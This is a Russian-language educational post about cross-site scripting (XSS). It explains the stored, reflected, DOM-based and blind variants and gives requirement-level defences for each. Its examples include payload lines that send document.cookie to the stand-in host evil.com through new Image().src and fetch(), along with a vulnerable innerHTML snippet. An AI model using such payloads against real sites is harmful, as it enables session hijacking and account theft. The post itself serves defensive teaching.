🛡 XSS-уязвимость

XSS (Cross‑Site Scripting) — атака, при которой злоумышленник внедряет в веб‑страницу вредоносный код (обычно на JavaScript).
Код выполняется в браузере другого пользователя (жертвы)

➡️ хакер находит место, куда можно «подложить» свой скрипт, когда жертва открывает страницу — скрипт крадёт её данные, подменяет содержимое или выполняет действия от её имени


На этапе проектирования требований можно:
⏺создать условие для уязвимости (например, разрешить любые символы в поле комментария)
✅ предотвратить её (чётко указать, какие символы и разметка допустимы)


Как работает XSS

1⃣ Злоумышленник находит поле ввода (поиск, комментирование, имя профиля)

2⃣ Вводит туда вредоносную строку, например:  alert('Ваши куки: ' + document.cookie)

3⃣ Приложение сохраняет или сразу выводит эту строку без обработки

5⃣ Пользователь открывает страницу ➡️ его браузер видит эту строку как настоящий HTML код ➡️выполняет её

5⃣ Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы

❗️Ключевое условие: приложение показывает пользовательские данные как будто это безопасный код страницы, а не обычный текст


Типы XSS

⭕️Хранимая (Stored XSS) — самая опасная

Скрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу

➡️ Пример
Форма отзывов. Хакер пишет отзыв:

> Классный товар! new Image().src='https://evil.com/steal?c='+document.cookie

Если не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер злоумышленника.ю

✅ Защита
✨в требованиях к полю, которое будет отображаться у других пользователей,  прописывать ограничения
✨если HTML нужен — описывать белый список тегов (только , , с проверенными ссылками)


⭕️Отражённая (Reflected XSS)

Скрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке.

➡️ Пример
Сайт показывает  поисковый запрос: «Вы искали: запрос». 
Хакер отправляет жертве ссылку: 

https://site.com/search?q=alert(1) 

Жертва кликает ➡️ скрипт выполняется

✅ Защита
В требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML.
Даже для сообщений об ошибке


⭕️DOM‑based XSS (без участия сервера)

Скрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет в HTML

➡️ Пример (уязвимый код на странице):

document.getElementById('message').innerHTML = location.hash.substring(1)

Хакерская ссылка: 
https://site.com/

Браузер не отправляет хеш на сервер, но на странице выполняется вредоносный код

✅ Защита
В клиентских скриптах не использовать innerHTML с пользовательскими данными,

Применять безопасные методы (textContent, setAttribute)


⭕️Слепая XSS (Blind XSS)

Скрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора

➡️ Пример
Форма обратной связи. Поле «Имя»:
fetch('https://evil.com?cookie='+document.cookie) 

Сам клиент видит своё имя без проблем (экранирование на публичной части есть)
Но оператор в админ‑панели смотрит все заявки — и там экранирования нет.
Скрипт ворует сессию оператора

✅ Защита
Требования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние.


📎 Материалы

1. Что такое XSS-атака и как с ней бороться
2. XSS: нападение и защита
3. Что такое XSS-уязвимости и как защититься  с помощью Content Security Policy
4. Примеры атак XSS и способов их ослабления
5. XSS-атака без секретов: от простого alert до захвата сессии

📚 Книги
Грокаем безопасность веб-приложения - Макдональд Малькольм

#безопасность

➿➿➿➿➿➿➿➿
🧑‍🎓 Больше полезного в базе знаний по системному анализу